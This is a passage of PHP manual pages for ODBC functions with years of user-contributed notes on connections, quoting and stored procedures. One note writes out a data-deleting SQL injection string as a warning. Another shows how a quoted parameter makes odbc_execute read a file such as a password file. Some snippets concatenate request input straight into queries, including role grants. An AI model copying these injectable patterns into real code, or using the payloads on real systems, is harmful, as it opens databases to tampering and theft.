$db_connstr = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=". realpath("../databases/database.mdb") ." ;DefaultDir=". realpath("../databases");
$db_connection->open($db_connstr);
$rs = $db_connection->execute("SELECT * FROM Table");
$rs_fld0 = $rs->Fields(0);
$rs_fld1 = $rs->Fields(1);
while (!$rs->EOF) {
  print "$rs_fld0->value $rs_fld1->value\n";
  $rs->MoveNext(); /* updates fields! */
}
$rs->Close();
$db_connection->Close();
?>

(Prints first 2 columns for each row.)
cs at coolspot dot de 10-Jul-2001 01:01
We've tried hard to connect from php to our IBM DB2 RS/6000 Server. It worked after we compiled with --ibm-db2= option, but it was unbelievable
slow.

No, just testing some options, we found out that it went from very slow (getting 100 records lasts 1 till 10 seconds) to fast access (almost same speed as with using JDBC from Servlets) to 0.2 till 0.3 seconds.

We simply added the optional parameter Cursortype to odbc_connect, and with the cursortype SQL_CUR_USE_ODBC it changed in that way!

Hope this helps anybody who must connect to db2 ;)
ckelly at powerup dot com dot au 12-Jun-2001 09:42
To connect to a PROGRESS database using ODBC you must have SQL_CUR_USE_ODBC  as the 4th parameter eg odbc_connect(DSN,uname,password,SQL_CUR_USE_ODBC ) otherwise you can pass queries but no results are ever returned .
cpoirier at shelluser dot net 09-Mar-2001 01:26
After much testing, and I think supported by a comment I found in the code, I have come to a disturbing conclusion: odbc_connect() in PHP4.04pl1 is really an odbc_pconnect(), with all the implications for transaction scoping.  Specifically, each time you call odbc_connect( "X", "" "" ), you will get the same physical ODBC Connection, and odbc_commit() and odbc_rollback() will affect all copies.  The only solution I could find was to use several different DSNs to access the database.
fc99 at smm dot de 26-Jan-2001 06:23
If you don't want to specify your login credentials on your web server, you can leave the login fields blank to use the integrated windows security like here:

odbc_connect("DSN=DataSource","","");

Make sure you have switched your system dsn to integrated security, too !

(works on windows machines only, of course)

flo.
SilencerX at optidynamic dot com 26-Jan-2001 03:31
If like me you are using openlink from unix to access an MS Access database on an NT/Win2k machine and find out that your INSERT queries don't do anything and don't report any errors, use odbc_pconnect().

I couldn't understand what was going on and after a bit of research I found out that with MySQL they recommended using mysql_pconnect() for INSERT queries. I tried the same thing with odbc and it worked.
garretg at otable dot com 02-Jan-2001 02:03
If you're connecting to a SQL server database through ODBC, you must set the default database of the ODBC DSN to the database you want to use.

There is no way to specify the database name in odbc_connect or odbc_pconnect, just the DSN name, username, and password.
phobo_AT_paradise.net.nz 02-Nov-2000 06:01
If using Openlink to connect to a Microsoft Access database, you will most likely fine tha odbd_connect() works fine, but discover that ANY query will produce odd results; with SELECT queries failing with "[OpenLink][ODBC][Driver]Driver not capable, SQL state
S1C00 in SQLExecDirect in xxxx.php on line xx" and INSERT / DELETE queries warning "No tuples available at this result index".

In this case, use the SQL_CUR_USE_ODBC cursor!

This had me stumped for quite some time; because it was the odbc_exec() which was seemingly at fault... :)

Siggy
cnewbill at onewest dot net 18-May-2000 05:55
Alot of people share the same kind of problems getting this setup on linux.  I was assigned this problem 2 days ago and I was successful.  My combination was PHP4 RC2, Easysoft OOB, and unixODBC.  These three products work very well together and are real easy to install.  More info http://www.easysoft.com/products/oob/main.phtml. ps also works good with Perl's DBI.
odbc_commit
odbc_cursor
ODBC Functions


Get cursorname

odbc_connect
odbc_data_source
ODBC Functions
PHP Manual

odbc_cursor

(PHP 4, PHP 5)

odbc_cursor — Get cursorname

Description

string odbc_cursor ( resource $result_id )

Gets the cursorname for the given result_id.

Parameters

result_id

The result identifier.

Return Values

Returns the cursor name, as a string.

User Contributed Notes

There are no user contributed notes for this page.
odbc_connect
odbc_data_source
ODBC Functions


Returns information about a current connection

odbc_cursor
odbc_do
ODBC Functions
PHP Manual

odbc_data_source

(PHP 4 >= 4.3.0, PHP 5)

odbc_data_source — Returns information about a current connection

Description

array odbc_data_source ( resource $connection_id , int $fetch_type )

This function will return the list of available DSN (after calling it several times).

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

fetch_type

The fetch_type can be one of two constant types: SQL_FETCH_FIRST, SQL_FETCH_NEXT. Use SQL_FETCH_FIRST the first time this function is called, thereafter use the SQL_FETCH_NEXT.

Return Values

Returns FALSE on error, and an array upon success.

User Contributed Notes

critmas at hotmail dot com 25-Feb-2005 11:53
Thank you Angelo for point out the code.  Though the function doesn't really do what it is supposed to.  It returns the entire list of ODBC DSNs.
If you really are looking to get the server type based on just the ODBC, username and password in an environment where the application needs to be aware of different types of databases, use the following code:

$link2 = odbc_connect($dsn , $DBUser, $DBPwd ) or die(odbc_errormsg() );
$result = @odbc_data_source( $link2, SQL_FETCH_FIRST );
while($result)
{
    if (strtolower($dsn) == strtolower($result['server'])) {
        echo $result['description'] . "<br>\n";
        break;
    }
       else
        $result = @odbc_data_source( $link2, SQL_FETCH_NEXT );
}

odbc_close($link2);

// Hope it saves your precious time
angelo [at] spaceblue [dot] com 01-Dec-2003 10:51
// Example usage:

// Connect to a ODBC database that exists on your system
$link = odbc_connect("some_dsn_name", "user", "password") or die(odbc_errormsg() );

$result = @odbc_data_source( $link, SQL_FETCH_FIRST );
while($result)
{
    echo "DSN: " . $result['server'] . " - " . $result['description'] . "<br>\n";
    $result = @odbc_data_source( $link, SQL_FETCH_NEXT );
}

odbc_close($link);
odbc_cursor
odbc_do
ODBC Functions


Alias of odbc_exec

odbc_data_source
odbc_error
ODBC Functions
PHP Manual

odbc_do

(PHP 4, PHP 5)

odbc_do — Alias of odbc_exec()

Description

This function is an alias of: odbc_exec().

User Contributed Notes

scottmweaver 01-Jun-2007 03:27
Hey guys,

I used the following code to run normal double quotes inside my SQL queries. Hopefully this will save someone else a headache or two-

<?php

    /**
     * Query Function
     * Allows quoted queries to be sent to SQL
     */

    function query($query, $conn)
    {
        odbc_do($conn, 'SET QUOTED_IDENTIFIER OFF');
        return odbc_do($conn, $query);
    }
?>
phil.nyc 04-Dec-2006 07:23
To clear up: the SQL standard requires strings to be inside single quotes: 'string'.  It simply does not accept double quotes for this purpose.

Furthermore, in PHP, you can have a single quote inside double quotes: "select a from b where c = 'string'" without the need to escape.
stalker 16-Nov-2006 12:11
$sql = INSERT INTO table (field1,field2,field3,field4) VALUES ("text value 1", "text 2",3,"text 4")";

of cos u will get an error fro php due to double quotes inside double quotes. The correct way of doing that is

$sql = "INSERT INTO table (field1, field2, field3, field4) VALUES
(\"text1\", \"text2\", \"text3\", \"text4\")";

Dont forget the backslash when u want to insert a " within double quotes.
nmaskell at livingchurch dot net 31-May-2005 07:10
Some of you may be having problems with Access SQL.
I got "Too few parameters" many times before I figured this out.
MS Access does not like double quotes in a SQL string like this:
<?php
$sql = 'INSERT INTO table (field1,field2,field3,field4) VALUES ("text value 1", "text 2",3,"text 4")';
?>

This resulted in an obscure error: Too few parameters.
So - The following should work much better:
<?php
$sql = "INSERT INTO table (field1,field2,field3,field4) VALUES ('text value 1', 'text 2',3,'text 4')";
?>
yashkhopade at hotmail dot com 10-Jul-2003 03:53
i have use this function so many times. it works well for my requirements. ok well done...

<?php
         $sqlstr="SELECT bill_no FROM SCROL";
         $queryresult=odbc_do($conn,$sqlstr);
         odbc_fetch_row($queryresult,$bills);

        // if we want to access the records
        // then we have to write the following code

        echo $bills[0];

?>

the out put for this will:

 1
which is actullay first record of resultset.
odbc_data_source
odbc_error
ODBC Functions


Get the last error code

odbc_do
odbc_errormsg
ODBC Functions
PHP Manual

odbc_error

(PHP 4 >= 4.0.5, PHP 5)

odbc_error — Get the last error code

Description

string odbc_error ([ resource $connection_id ] )

Returns a six-digit ODBC state, or an empty string if there has been no errors.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

Return Values

If connection_id is specified, the last state of that connection is returned, else the last state of any connection is returned.

This function returns meaningful value only if last odbc query failed (i.e. odbc_exec() returned FALSE).

See Also

  • odbc_errormsg() - Get the last error message
  • odbc_exec() - Prepare and execute an SQL statement

User Contributed Notes

sunil_limje at indiatimes dot com 18-Jul-2003 03:06
I have use this function, its very simple and cute.
with IBM DB2
<?php
         // you must set the connection first
         if (odbc_error())
         {
               echo odbc_errormsg($conn);
         }
         // if you want to show the perfect error message
         // then format it using string functions.
?>
Have a good day!
Sergio Sartori 03-Apr-2003 09:56
Using IBM DB2 V7.1 and MS SQL Server 7 ODBC database connections.
Print the result of odbc_error() or odbc_errormsg() after each call to an odbc_ function that gives no error and, sooner or later, you'll get garbage instead of a blank string!
aaronbair at hotmail dot com 08-Mar-2002 08:26
If you use an argument, make sure its the CONNECTION_ID and not the RESULT_ID.

Testing the result can return a null string or sometimes a garbage string.

# -- Example code  --
$rs = odbc_exec($dbc, $sql);

#this is wrong but won't error out until
#you demo the page for a client!
  if (odbc_error($rs)) die(...);

#these work
  if (odbc_error()) die(...);
  if (odbc_error($dbc)) die(...);
odbc_do
odbc_errormsg
ODBC Functions


Get the last error message

odbc_error
odbc_exec
ODBC Functions
PHP Manual

odbc_errormsg

(PHP 4 >= 4.0.5, PHP 5)

odbc_errormsg — Get the last error message

Description

string odbc_errormsg ([ resource $connection_id ] )

Returns a string containing the last ODBC error message, or an empty string if there has been no errors.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

Return Values

If connection_id is specified, the last state of that connection is returned, else the last state of any connection is returned.

This function returns meaningful value only if last odbc query failed (i.e. odbc_exec() returned FALSE).

See Also

  • odbc_error() - Get the last error code
  • odbc_exec() - Prepare and execute an SQL statement

User Contributed Notes

There are no user contributed notes for this page.
odbc_error
odbc_exec
ODBC Functions


Prepare and execute an SQL statement

odbc_errormsg
odbc_execute
ODBC Functions
PHP Manual

odbc_exec

(PHP 4, PHP 5)

odbc_exec — Prepare and execute an SQL statement

Description

resource odbc_exec ( resource $connection_id , string $query_string [, int $flags ] )

Sends an SQL statement to the database server.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

query_string

The SQL statement.

flags

This parameter is currently not used.

Return Values

Returns an ODBC result identifier if the SQL command was executed successfully, or FALSE on error.

See Also

  • odbc_prepare() - Prepares a statement for execution
  • odbc_execute() - Execute a prepared statement

User Contributed Notes

morten at nilsen dot com 16-May-2008 05:50
Regarding the query-building for collecting large forms, this would be better:

<?php
  foreach($_POST as &$v)
    $v = str_replace("'", '', $v);

  $sql = 'INSERT INTO table (' . join(',',array_keys($_POST)) . ') VALUES (' . join(',', array_fill(0, count($_POST), '?')) . ')';
  $query = odbc_prepare($conn, $sql);
  $result = odbc_execute($query, $_POST);
?>
mir eder 28-Aug-2007 03:39
If you are having problems with truncated text fields from ODBC queries (pe. at 4096 characters), try some of the following:

in php.ini:
- odbc.defaultlrl = 65536

in your php code, before your queries:
- ini_set ( 'odbc.defaultlrl' , '65536' );
bslorence 07-Dec-2006 12:38
A determined attacker will easily jump through whatever string-escaping hoops you can devise. A better way to protect yourself against SQL injection is to bind your parameters, which requires calling odbc_prepare() and odbc_execute():

<?php
$emp_id = $_GET['emp_id'];
$stmt = odbc_prepare($db_conn, "SELECT pwd FROM employees WHERE emp_id=?");
$res = odbc_execute($stmt, array($emp_id));
?>

This should compile the SELECT statement so that the parameter 'emp_id' is never included as part of your literal SQL query; i.e., it prevents your end users from "contributing" to your code.

But of course even the above is not good enough; see particularly the warning about single-quote-delimited strings in odbc_execute()'s parameters array:

http://www.php.net/manual/en/function.odbc-execute.php

It's paramount that you validate user-supplied parameters, always and everywhere -- and keep in mind that every query-variable from a GET or POST should be considered "user-supplied", even if it's in a hidden input field on the front-end web page and the average browser user has no control over it.

Take the above example, and suppose that the backend database uses a two-byte unsigned numeric field to store 'emp_id'.

In that case, then you must make sure, before you do anything with ODBC, that 'emp_id' is indeed numeric, positive, and <= 65535. If it's not, assume an attack and fail with an ambiguous error message.

If you trust user input without checking it yourself, you're asking to be hacked.

Here's a nice intro to SQL-injection:

http://www.unixwiz.net/techtips/sql-injection.html
delowing gmail dot com 27-Sep-2006 08:19
It is easy to inject evil code into SQL statements. This wraps parameters in quotes so they are not executable. In your own stored procedures you can convert the string to numeric as needed.

function sql_make_string($sin){
         return "'".str_replace("'","''",$sin)."'";
}

// this may delete all data from MYTABLE
$evil = "734'; DELETE FROM MYTABLE; print 'ha ha";
$sql = "SELECT * FROM MYTABLE WHERE mykey = '$evil'";
$rst = odbc_exec($connection,$sql);

// this probably will not delete the data.
$good = sql_make_string($evil);
$sql = "SELECT * FROM MYTABLE WHERE mykey =".$good
$rst = odbc_exec($connection,$sql);
denis at i39 dot ru 24-Aug-2006 05:24
I've got an error on MS SQL Server 2000, when tryed to execute query which grants rights to user to connect to database:

<?
$Query = "
 EXEC sp_grantdbaccess ".$_REQUEST['user'].";
 EXEC sp_addrolemember  'db_owner','".$_REQUEST['user']."';
            ";
        if (!@odbc_exec($db_Conn, $Query))
            $strErrorMessage = odbc_errormsg($db_Conn);
?>

The result was: Executing SQL directly; no cursor.

This query executes fine in MS's sql console. So it seems that problem is in odbc driver.
I've found desicion by removing first "EXEC".

It looks:
<?
$Query = "
 sp_grantdbaccess ".$_REQUEST['user'].";
 EXEC sp_addrolemember  'db_owner','".$_REQUEST['user']."';
            ";
        if (!@odbc_exec($db_Conn, $Query))
            $strErrorMessage = odbc_errormsg($db_Conn);

?>

P.S. Don't remove the second 'exec', 'cos MS returns another error :)
30-May-2006 05:02
Wouldn't it be better to use the database itself to find out if an id doesn't exist. eg: SELECT COUNT(id) as idCount FROM [Table] WHERE id = [ID]

Then check if idCount is zero or not.
joex444 at gmail dot com 21-Sep-2005 02:14
Maybe not the best way, but here's how I find out if a row doesn't exist:

$row=odbc_fetch_array($result);
$id=$row['id'];
if($id=="") {
//no rows
} else {
//rows
}

Where the 'id' field is a required field in your table...
30-Aug-2005 06:18
The following seems counterintuitive to me and so I am constantly getting burned by it.  Just thought I'd add a note for anyone else who might also get burned.

  if (!odbc_exec("select MyValue from MyTable where Key1='x' and Key2='y'"))

is not a good way to search for the existence of a record with Key1 = x and Key2 = y.  The odbc_exec always returns a result handle, even though there aren't any records.

Rather, you must use one of the fetch functions to find out that the record really doesn't exist.  This should work:

  if (!($Selhand = odbc_exec("select MyValue from MyTable where Key1='x' and Key2='y'"))
    || !odbc_result($Selhand, 1))
fuadMD at gmail dot com 24-May-2005 12:34
<?php
// - This is a complete working dynamic example of using:
//    odbc_connect, odbc_exec, getting col Names,
//    odbc_fetch_row and no of rows. hope it helps
// - your driver should point to your MS access file

$conn = odbc_connect('MSAccessDriver','','');

$nrows=0;

if ($conn)
{
$sql =  "select * from $month";
//this function will execute the sql satament
$result=odbc_exec($conn, $sql);

echo "<table  align=\"center\" border=\"1\" borderColor=\"\" cellpadding=\"0\" cellspacing=\"0\">\n";
echo "<tr> ";
// -- print field name
$colName = odbc_num_fields($result);
for ($j=1; $j<= $colName; $j++)
{
echo "<th  align=\"left\" bgcolor=\"#CCCCCC\" > <font color=\"#990000\"> ";
echo odbc_field_name ($result, $j );
echo "</font> </th>";
}
$j=$j-1;
$c=0;
// end of field names
while(odbc_fetch_row($result)) // getting data
{
 $c=$c+1;
 if ( $c%2 == 0 )
 echo "<tr bgcolor=\"#d0d0d0\" >\n";
 else
 echo "<tr bgcolor=\"#eeeeee\">\n";
    for($i=1;$i<=odbc_num_fields($result);$i++)
      {
        echo "<td>";
        echo odbc_result($result,$i);
        echo "</td>";
        if ( $i%$j == 0 )
           {
            $nrows+=1; // counting no of rows
          }
      }
    echo "</tr>";
}

echo "</td> </tr>\n";
echo "</table >\n";
// --end of table
if ($nrows==0) echo "<br/><center> Nothing for $month yet! Try back later</center>  <br/>";
else echo "<br/><center> Total Records:  $nrows </center>  <br/>";
odbc_close ($conn);

}
else echo "odbc not connected <br>";
?>
james @ php-for-beginners co uk 18-Mar-2005 04:54
hi all, I managed to get this little snippet working, it's pretty useful if you have long forms to be inserted into a database.

if ( ! empty ( $_POST ) ){
array_pop($_POST);
 foreach($_POST as $key => $val){
  $columns .= addslashes($key) . ", ";
    $values .= "'" . addslashes($val) . "', ";

 }
 $values = substr_replace($values, "", -2);
 $columns = substr_replace($columns, "", -2);

 $sql = "INSERT INTO table ($columns) VALUES ($values)";
 echo $sql;
 $results = odbc_exec($conn, $sql);
                 if ($results){
              echo "Query Executed";
                }else {
              echo "Query failed " .odbc_error();
            }
}

Not the most secure in the world but, speeds up collecting data from large forms.
mramirez at star-dev dot com 28-Feb-2005 04:23
Hi, I was trying to execute an stored procedure with
PHP 4.3.10 and MS SQL Server 6.5 using PHP function
"odbc_exec" and ODBC.

The problem was that it returned an ouput parameter
and didn't  know the right PHP functions and SQL
syntax to call it.

Finally after looking elsewhere, it worked this way:

<html>

<title>test.php</title>

<body>

<?php
  $server   = 'myservername';
  $database = 'mydatabasename';
  $username = 'myusername';
  $password = 'mypassword';

  $connection_string =
   'DRIVER={SQL SERVER};SERVER=' . $server . ';DATABASE=' . $database;

  $connection = odbc_connect($connection_string, $username, $password);

  $sql  = "BEGIN ";
  $sql .= "  declare @MyOutputValue int ";
  $sql .= "  execute MyStoredProc @MyOutputValue output select @MyOutputValue ";
  $sql .= "END ";

  echo '<form>' . chr(13);
  echo '<table border="1">' . chr(13) . chr(13);
  echo '<tr>';
  echo '<td><b>Valor</b></td>';
  echo '</tr>';

  $query = odbc_exec($connection, $sql);

  while(odbc_fetch_row($query))
  {
     echo '<tr>' . chr(13);

     // "odbc_result" = "FieldByNumber(Index)",
     // "Index" starts with 1 not 0 !!! :
     $returnvalue = odbc_result($query, 1);

     echo '<td>' . $returnvalue . '</td>';
     echo '</tr>' . chr(13);
     echo chr(13);
  }

  echo '</table>' . chr(13);
  echo '</form>' . chr(13);

  odbc_free_result($query);

  odbc_close($connection);

?>

</body>

</html>

Good Luck.
Tom Cully <mail at tomcully dot com> 28-Feb-2005 08:22
MS Access through ODBC doesn't just not like quotes (escape with '' - two single quotes), it also really hates newlines - chr(10)s - in LONGCHAR fields, and maybe in other BINARY based fields as well. Leave in a return character - chr(13) - to get a "new line" when working with LONGCHAR fields in ODBC/MS Access:

Here's a function to do both for you:

function odbc_access_escape_str($str) {
 $out="";
 for($a=0; $a<strlen($str); $a++) {
  if($str[$a]=="'") {
   $out.="''";
  } else
  if($str[$a]!=chr(10)) {
   $out.=$str[$a];
  }
 }
 return $out;
}
d dot soussan at sovereignls dot co dot uk 16-Jan-2005 08:19
re the note from: sk2xml at gmx dot net 21-Nov-2001 02:15

About [] not working with Access.

if you use [] arount the field name then you must also use them around the table name, thus:

select [table1].[field1] from table1

That is standard Access syntax.

sk2xml's example had:

select table1.[field1] from table1

which will always fail.
sameer dot kelkar at gmail dot com 31-Aug-2004 03:26
$callstore  = odbc_exec($conn, "{CALL procedurename('" . $para1 . "','" . $para2 . "',1,'125478')}");
           odbc_fetch_row($callstore);
           $returnmessage  =  odbc_result($callstore,1);
       echo $returnmessage;
victor dot kirk at serco dot com 26-May-2004 05:47
rupix said above:
> it does not work. However if I use single quotes instead of \" the thing runs smoothly

SQL uses 'single quotes' to specify strings, thats why a \" does not work.
Sean Boulter 21-Apr-2004 05:50
Update to my previous post... Another way to solve the problem with single quotes (at least in my environment (php 4.3.6, ODBC to MS Access db)), is to edit the php.ini file and set magic_quotes_gpc = On and magic_quotes_sybase = On.  Note that this is a global setting, which may or may not be desirable.
Sean Boulter 21-Apr-2004 05:28
If a single quote exists within the field specified by your WHERE statement, ODBC fails because of a parsing error.  Although it seems intuitive, using \" around the field does not work (\"$var\").  The only solution I found was to replace all single quotes in my field with two single quotes.  ODBC interprets the first single quote as an escape character and interprets the second single quote as a literal.  Thanks to http://www.devguru.com/features/knowledge_base/A100206.html for this tip.
christopherbyrne at hotmail dot com 23-Jan-2004 01:33
When you pass a parameter to an Access procedure all data types (seemingly) can be single quoted and dates do not need (and will not work when) surrounded by #'s.

Hope this helps!
rob at vendorpromotions dot com 17-Jun-2003 01:29
This opens select statements 'for update' by default in db2.  If you're using db2, you have to tack on 'for read only' at the end to select from SYSCAT.TABLES, for example, without firing an error like

Warning: SQL error: [IBM][CLI Driver][DB2/LINUX] SQL0151N The column "MAXFREESPACESEARCH" cannot be updated. SQLSTATE=42808 , SQL state 42808 in SQLExecDirect

For example :

$query = odbc_exec($conn, "select * from syscat.tables for read only");
odbc_result_all($query);

will work (only for db2).  I don't know about other databases.

The select statement will work in the 'db2' command line, but not in php, because of this side effect.
rupix at rediffmail dot com 05-Apr-2003 07:05
I tried the following line of code

<?php
$odbc=odbc_connect("pbk", "root","") or die(odbc_errormsg());
$q="insert into pbk values(\"$name\", \"$phone\")";
print $q;
odbc_exec($odbc, $q) or die("<p>".odbc_errormsg());
?>

it does not work. However if I use single quotes instead of \" the thing runs smoothly

thus the following would work

<?php
$odbc=odbc_connect("pbk", "yourworstnightmare","abracadabra") or die(odbc_errormsg());
$q="insert into pbk values('$name', '$phone')";
print $q;
odbc_exec($odbc, $q) or die("<p>".odbc_errormsg());
?>

Also having a user dsn is no good on win2k. Always have a System DSN. I don't know yet what are the implications of the same.
das_yrch at hotmail dot com 07-Mar-2003 03:17
I tried this way to see the results of a query and it works!!

$Conn = odbc_connect
("bbdd_usuaris","","",SQL_CUR_USE_ODBC );

$result=odbc_exec($Conn,"select nom from usuaris;");

while(odbc_fetch_row($result)){
         for($i=1;$i<=odbc_num_fields($result);$i++){
        echo "Result is ".odbc_result($result,$i);
    }
}
miguel dot erill at doymer dot com 23-Jul-2002 03:33
In a previous contribution it was told that if you're running NT/IIS with PHP 3.0.11 you can use MS Access dbs "stored procedures".

That was right, but if those stores procedures have parameters you have to supply them in the command line like this:

$conn_id = odbc_connect( "odbc_test_db", "","", SQL_CUR_USE_DRIVER );
$qry_id = odbc_do( $conn_id, "{CALL MyQuery(".$param.")}" );
martin at NOSPAMkouba dot at 05-Feb-2002 08:37
"[Microsoft][ODBC Microsoft Access Driver] Too few
parameters. Expected 1."

this not so clear to understand error comes when using access-odbc and a field name can't be found. check for correct spelling of fields.
lee200082 at hotmail dot com 21-Jan-2002 05:07
As an addition to the note about square brackets earlier:

Enclosing sql field names in '[' and ']' also allows you to use MS Access reserved words like 'date' and 'field' and 'time' in your SQL query... it seems that the square brackets simply tell Access to ignore any other meaning whatever is inside them has and take them simply as field names.
sk2xml at gmx dot net 21-Nov-2001 06:15
Problem: Fieldnames in SQL-Statement have blanks and [] don't work!

Solution: Try "" instead

Ex.:

SELECT table2.first, table1.[last name] FROM tabel1, table2 -> don't work

SELECT table2.first, table1.\"last name\" FROM tabel1, table2 -> Try this

PS: Don't forget the espace characters !!!
cfewer1 at home dot com 15-Aug-2001 02:25
If you're receiving a 'Syntax error in INSERT INTO ..<snip>.. SQL State 37000 in SQLExecDirect' error, try enclosing the field names between square brackets.

ex:

INSERT INTO whatever ([blah],[who],[what]) VALUES ('blah','blah','blah');

I spent 4 hours tryin to get this insert statement (without the []'s) to work. This seems to have fixed it.

[]'s, apparently according to MS, should be used with table/field names with spaces. Im not sure if this is an MS ODBC thing, or a PHP flaw.

tested with: win32/php4.0.6/apache1.3.20/odbc/mdac2.6sp1
akchu at at ualberta dot ca 07-Jan-2001 08:41
ODBC/MS Access Date Fields:

Matching dates in SELECT statements for MS Access requires the following format:
#Y-m-d H:i:s#

for example:

SELECT * FROM TableName WHERE Birthdate = #2001-01-07 00:00:00#

or

SELECT * FROM TableName WHERE Birthdate BETWEEN #2000-01-07 00:00:00# AND #2001-01-07 00:00:00#

This took me forever to figure out.
vpil at retico dot com 06-Nov-2000 06:24
Additional links to ODBC_exec:
How to actually write the SQL commands:
http://www.roth.net/perl/odbc/faq/
http://www.netaxs.com/~joc/perl/article/SQL.html
Demystifying SQL
BIG REF MANUAL:
http://w3.one.net/~jhoffman/sqltut.htm
Introduction to Structured Query Language
Covers read, add, modify & delete of data.
phobo at at at paradise dot net dot nz 02-Nov-2000 06:26
If Openlink -> MS Access Database fails and gives "Driver Not Capable" error or "No tuples available" warning, use the SQL_CUR_USE_ODBC cursor when using odbc_connect()...

Siggy
andreas dot brunner at rubner dot com 07-Jul-2000 04:54
I wanted to access an MSAccess database via ODBC. The connection functioned without problems, but when I placed a SQL statement into my odbc_exec() i always got an error:
Warning: SQL error: [Microsoft][ODBC Driver Manager] Driver does not support that function, SQL state IM001 in SQLSetStmtOption in \\Server\directory/test.php3 on line 19.

Resolved my problem by myself: i simply had to install a new odbc-driver from the microsoft homepage.
gross at arkana dot de 28-Oct-1999 06:03
If you're running NT/IIS with PHP 3.0.11 and want to use MS Access dbs with "stored procedures" you can send an ODBC SQL query like:
<?php
$conn_id = odbc_connect( "odbc_test_db", "", "", SQL_CUR_USE_DRIVER );
$qry_id = odbc_do( $conn_id, "{CALL MyQuery}" );
?>
This way you don't need to integrate query strings like

SELECT * FROM TblObject WHERE (((TblObject.something) Like "blahblahblah"));

in the php file. You directly call the query "MyQuery" that was generated by MS Access.
rmkim at uwaterloo dot ca 25-Aug-1999 11:13
for Win32(NT) and MSAcess 2000, whenever you retrieve a date column/field, php will automatically convert it to 'yyyy/mm/dd hh:mm:ss' format regardless of the style of date you've denoted in Access.
This seems to pose a problem when you exec SELECT, UPDATE, or DELETE queries, but strangley INSERT works fine. I've tried parsing the date into the desired format, but php still yells criteria mismatch.
odbc_errormsg
odbc_execute
ODBC Functions


Execute a prepared statement

odbc_exec
odbc_fetch_array
ODBC Functions
PHP Manual

odbc_execute

(PHP 4, PHP 5)

odbc_execute — Execute a prepared statement

Description

bool odbc_execute ( resource $result_id [, array $parameters_array ] )

Executes a statement prepared with odbc_prepare().

Parameters

result_id

The result id resource, from odbc_prepare().

parameters_array

Parameters in parameter_array will be substituted for placeholders in the prepared statement in order. Elements of this array will be converted to strings by calling this function.

Any parameters in parameter_array which start and end with single quotes will be taken as the name of a file to read and send to the database server as the data for the appropriate placeholder.

If you wish to store a string which actually begins and ends with single quotes, you must add a space or other non-single-quote character to the beginning or end of the parameter, which will prevent the parameter from being taken as a file name. If this is not an option, then you must use another mechanism to store the string, such as executing the query directly with odbc_exec()).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 odbc_execute() and odbc_prepare() example

In the following code, $success will only be TRUE if all three parameters to myproc are IN parameters:

<?php
$a = 1;
$b = 2;
$c = 3;
$stmt    = odbc_prepare($conn, 'CALL myproc(?,?,?)');
$success = odbc_execute($stmt, array($a, $b, $c));
?>

If you need to call a stored procedure using INOUT or OUT parameters, the recommended workaround is to use a native extension for your database (for example, mssql for MS SQL Server, or oci8 for Oracle).

Changelog

Version | Description
4.2.0 | File reading is now subject to safe mode and open-basedir restrictions in parameters_array.
4.1.1 | Remote files are no longer supported in parameters_array.

See Also

  • odbc_prepare() - Prepares a statement for execution

User Contributed Notes

alvaro at demogracia dot com 20-Dec-2011 05:16
When odbc_execute() fails it returns FALSE and triggers a warning but it will not necessarily feed odbc_error() and odbc_errormsg().
anonymous 29-Apr-2009 11:32
if you can't use php_mssql module in your environment (suse linux, apache2, php5, FreeTDS, unixODBC) an alternative is to use sql server functions instead of procedures. here is my sample code.

<?php
  $connect        = odbc_connect($myDB, $myUser, $myPass);

  $query = "SELECT dbo.<function>(<column>,<text>) alias";

  // perform the query
  $result = odbc_exec($connect, $query);

  while(odbc_fetch_row($result)) {
    $Var1    = odbc_result($result, <column alias>);
    //echo "Var1: " . $Var1 . "<br>";

        // add additional logic

  }
?>

Once I figured this out, my app worked perfectly.
jeroen at pyromanic dot nl 05-Jun-2008 01:05
If you want to use stored procedures with MSSQL over ODBC, please read

http://www.sitepoint.com/article/php-microsoft-sql-server/2

It can you save lots of time ;)
traynor at uni hyphen hannover dot de 08-Nov-2007 06:09
Obdc_prepare and obdc_execute can only be used as an alternative to odbc_exec in limited circumstances:

$con = obdc_connect ($dsn, $user, $pass);
$sql = "select * from TABLE";

$result = obdc_exec ($con, $sql); //this line can be replaced as blow
//then to see results:

odbc_result_all ($result);
odbc_free_result ($result);
odbc_close ($con);

gives the same result with the middle line as:

$result = odbc_prepare ($con, $sql);
odbc_execute ($result);

as long as $sql contains a well formed and complete query.

There is no point in trying to convert this into a parameter query with question marks as placeholders, since code like this will result only in error messages:

$sql = "select * from TABLE where needle = ?";
$result = odbc_prepare ($con, $sql);
for ($i = 0; $i < 4; $i++)
{
  odbc_execute ($result, array ($i));
  // and whatever you want to do with the result
  // but all you get is "parameter expected" or "count does not match"
}

The lack of documentation for such functions should have been an alarm signal.
a dot brock at hhv-rheinklang dot de 24-Aug-2006 04:38
I have a solution for the problem with the strings beeing interpreted as filename because of the single quotes:

Just add a blank to the end of the string:

<?php
function odbc_escape_params ($params) {
 if (!is_array($params) or empty($params)) {
  return array();
 }
 foreach ($params as $key=>$val) {
  if (strlen($val) > 1 and $val{0} == "'" and $val{strlen($val)-1} == "'") {
   $params[$key] .= ' ';
  }
 }
 return $params;
}
?>
mjs at beebo dot org 27-Mar-2006 01:57
Don't miss the part where it says that if your string starts and ends with a single quote, the string is interpreted as a filename!

This means that you can't do:

$sth = odbc_prepare($dbh, "INSERT INTO people(name) VALUES(?)");
$res = odbc_execute($sth, array($name));

without checking the value of $name--if $name is, say, '\\'c:\\passwords.txt\\'' the contents of c:\\passwords.txt get inserted into your database as a "name".

Also, despite what the documentation suggests, there (incredibly) doesn't appear to be any way to escape your single quotes (via experimentation, and from reading the source): if your string starts and ends with a single quote you cannot use odbc_execute to insert it into the database.
russell dot brown at removethis dot insignia dot com 09-Feb-2004 12:55
In reply to tcmleung at yahoo dot com (09-Nov-2001), I would add a caveat that I've found, which is that the odbc.defaultlrl/odbc_longreadlen() values may only apply to odbc->php conversion and not php->odbc (though this may be database-specific). Hence, if you want to post binary data the 4096 byte limit still stands. So you stand a better chance of being able to post binary data using the quoted filename upload procedure described above, rather than using the prepare... execute method with data held in a php variable.
svemir_AT_baltok.com 06-Sep-2002 10:45
In reply to cpoirier's note from 04-Mar-2001 03:30:

